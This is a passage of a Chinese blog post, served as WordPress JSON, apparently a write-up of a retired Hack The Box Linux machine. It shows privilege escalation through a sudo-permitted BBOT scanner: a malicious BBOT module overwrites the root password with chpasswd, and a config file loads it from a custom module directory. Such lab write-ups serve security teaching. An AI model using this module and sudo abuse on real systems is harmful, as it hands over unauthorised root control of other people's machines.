href=\"https:\/\/www.blacklanternsecurity.com\/bbot\/Stable\/dev\/module_howto\/#create-the-python-file\" target=\"_blank\"  rel=\"nofollow\" >How to Write a BBOT Module - BBOT Docs<\/a><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1740915614555-dcf47357-94e5-45e2-9c8c-cff367393bee.png\" alt=\"\" \/><\/p>\n<p>\u53ef\u53d1\u73b0\uff0c\u4e00\u4e2a\u5408\u6cd5\u7684<code>BBOT<\/code>\u6a21\u5757\u4e2d\u9700\u8981\u4e00\u4e2a\u7ee7\u627f\u81ea<code>bbot.modules.base.BaseModule<\/code>\u7c7b\u7684\u5b50\u7c7b\uff0c\u5b50\u7c7b\u4e2d\u5fc5\u987b\u5305\u542b<code>setup()<\/code>\u548c<code>handle_event<\/code>\u4e24\u79cd\u65b9\u6cd5\u3002<\/p>\n<p>\u540c\u65f6\uff0c\u8fd8\u5728<code>Developer Manual<\/code>=&gt;<code>How to Write a BBOT Module<\/code>=&gt;<code>Load Modules from Custom Locations<\/code>\u5c0f\u8282\u4e2d\u53d1\u73b0\u4e86\u52a0\u8f7d\u81ea\u5b9a\u4e49\u6a21\u5757\u7684\u65b9\u6cd5\uff1a<a href=\"https:\/\/www.blacklanternsecurity.com\/bbot\/Stable\/dev\/module_howto\/#load-modules-from-custom-locations\" target=\"_blank\"  rel=\"nofollow\" >How to Write a BBOT Module - BBOT Docs<\/a><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1740915878331-0fce76be-6df8-46e3-aa50-7ff23249c33e.png\" alt=\"\" \/><\/p>\n<p>\u53ea\u9700\u8981\u5728\u81ea\u5b9a\u4e49\u914d\u7f6e\u6587\u4ef6\u5185\u6307\u5b9a\u6a21\u5757\u52a0\u8f7d\u8def\u5f84<code>module_dirs<\/code>\u5373\u53ef\u3002<\/p>\n<p>\u7efc\u5408\u4e0a\u8ff0\u4fe1\u606f\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u5982\u4e0b\u6b65\u9aa4\u63d0\u6743\uff1a<\/p>\n<ol>\n<li>\u5728\u5f53\u524d\u7528\u6237\u5bb6\u76ee\u5f55\u4e0b\u521b\u5efa\u6076\u610f\u6a21\u5757\u52a0\u8f7d\u76ee\u5f55<code>evil_module_bbot<\/code>\uff1b<\/li>\n<li>\u5728\u6076\u610f\u6a21\u5757\u52a0\u8f7d\u76ee\u5f55\u4e0b\u521b\u5efa\u4fee\u6539<code>root<\/code>\u7528\u6237\u5bc6\u7801\u7684<code>Python<\/code>\u811a\u672c\uff1b<\/li>\n<li>\u521b\u5efa\u6076\u610f<code>BBOT<\/code>\u914d\u7f6e\u6587\u4ef6\uff0c\u6307\u5b9a<code>~\/evil_module_bbot<\/code>\u76ee\u5f55\u4e3a\u6a21\u5757\u52a0\u8f7d\u76ee\u5f55\uff1b<\/li>\n<li>\u4ee5<code>sudo<\/code>\u547d\u4ee4\u6267\u884c<code>bbot<\/code>\u7a0b\u5e8f\uff0c\u4f7f\u7528<code>-p<\/code>\u53c2\u6570\u5bfc\u5165\u6076\u610f\u914d\u7f6e\uff0c\u4f7f\u7528<code>-m<\/code>\u53c2\u6570\u52a0\u8f7d\u6076\u610f\u6a21\u5757\u3002<\/li>\n<\/ol>\n<p>\u9996\u5148\uff0c\u521b\u5efa\u76ee\u5f55<code>\/home\/graphasm\/evil_module_bbot<\/code>\uff0c\u5728\u8be5\u76ee\u5f55\u4e0b\u521b\u5efa\u6076\u610f\u811a\u672c<code>evil_misaka19008.py<\/code>\uff0c\u529f\u80fd\u4e3a\u542f\u52a8\u540e\u4fee\u6539<code>root<\/code>\u7528\u6237\u5bc6\u7801\uff1a<\/p>\n<pre><code class=\"language-python\">import os\nfrom bbot.modules.base import BaseModule\n\nclass evil_misaka19008(BaseModule):\n    async def setup(self):\n        os.system(\"id &gt; \/home\/graphasm\/id.txt\")\n        os.system(\"echo 'root:Asd310056' | chpasswd\")\n        self.api_key = self.config.get(\"api_key\")\n        if not self.api_key:\n            return None, \"Must set API key\"\n\n    async def handle_event(self, event):\n        self.hugeinfo(f\"[*] Have tried changing root password!\")<\/code><\/pre>\n<p>\u968f\u540e\u521b\u5efa\u6076\u610f\u914d\u7f6e\u6587\u4ef6<code>\/home\/graphasm\/misaka19008_evil.yml<\/code>\uff0c\u6307\u5b9a\u6076\u610f\u6a21\u5757\u52a0\u8f7d\u8def\u5f84\uff1a<\/p>\n<pre><code class=\"language-yaml\">targets:\n  - ecorp.htb\n\noutput_dir: \/home\/graphasm\/bbot_scans\n\nmodule_dirs:\n  - \/home\/graphasm\/evil_module_bbot<\/code><\/pre>\n<p>\u521b\u5efa\u6210\u529f\u540e\uff0c\u6267\u884c\u5982\u4e0b\u547d\u4ee4\u63d0\u6743\uff1a<\/p>\n<pre><code class=\"language-shell\">sudo bbot -p \/home\/graphasm\/misaka19008_evil.yml -m evil_misaka19008 -t localhost<\/code><\/pre>\n<p>\u6267\u884c\u5b8c\u6bd5\u540e\uff0c\u5c1d\u8bd5\u4f7f\u7528<code>su -<\/code>\u547d\u4ee4\u5207\u6362\u5230<code>root<\/code>\u7528\u6237\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1740916542473-3936619b-54f8-4e5b-ab07-0e9f36c148bd.png\" alt=\"\" \/><\/p>\n<p><strong>\u63d0\u6743\u6210\u529f\uff01\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>\u672c\u6b21\u9776\u673a\u6e17\u900f\u5230\u6b64\u7ed3\u675f<\/h1>\n<hr \/>\n","protected":false},"excerpt":{"rendered":"<p>\u76ee\u6807\u4fe1\u606f IP\u5730\u5740\uff1a10.10.11.57 \u4fe1\u606f\u6536\u96c6 ICMP\u68c0\u6d4b PING 10.10.11.57 (10.10.11.57)  &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[3,14],"tags":[],"class_list":["post-235","post","type-post","status-publish","format-standard","hentry","category-htb_retired","category-linux_machines"],"_links":{"self":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/235","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/comments?post=235"}],"version-history":[{"count":1,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/235\/revisions"}],"predecessor-version":[{"id":236,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/235\/revisions\/236"}],"wp:attachment":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/media?parent=235"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/categories?post=235"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/tags?post=235"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}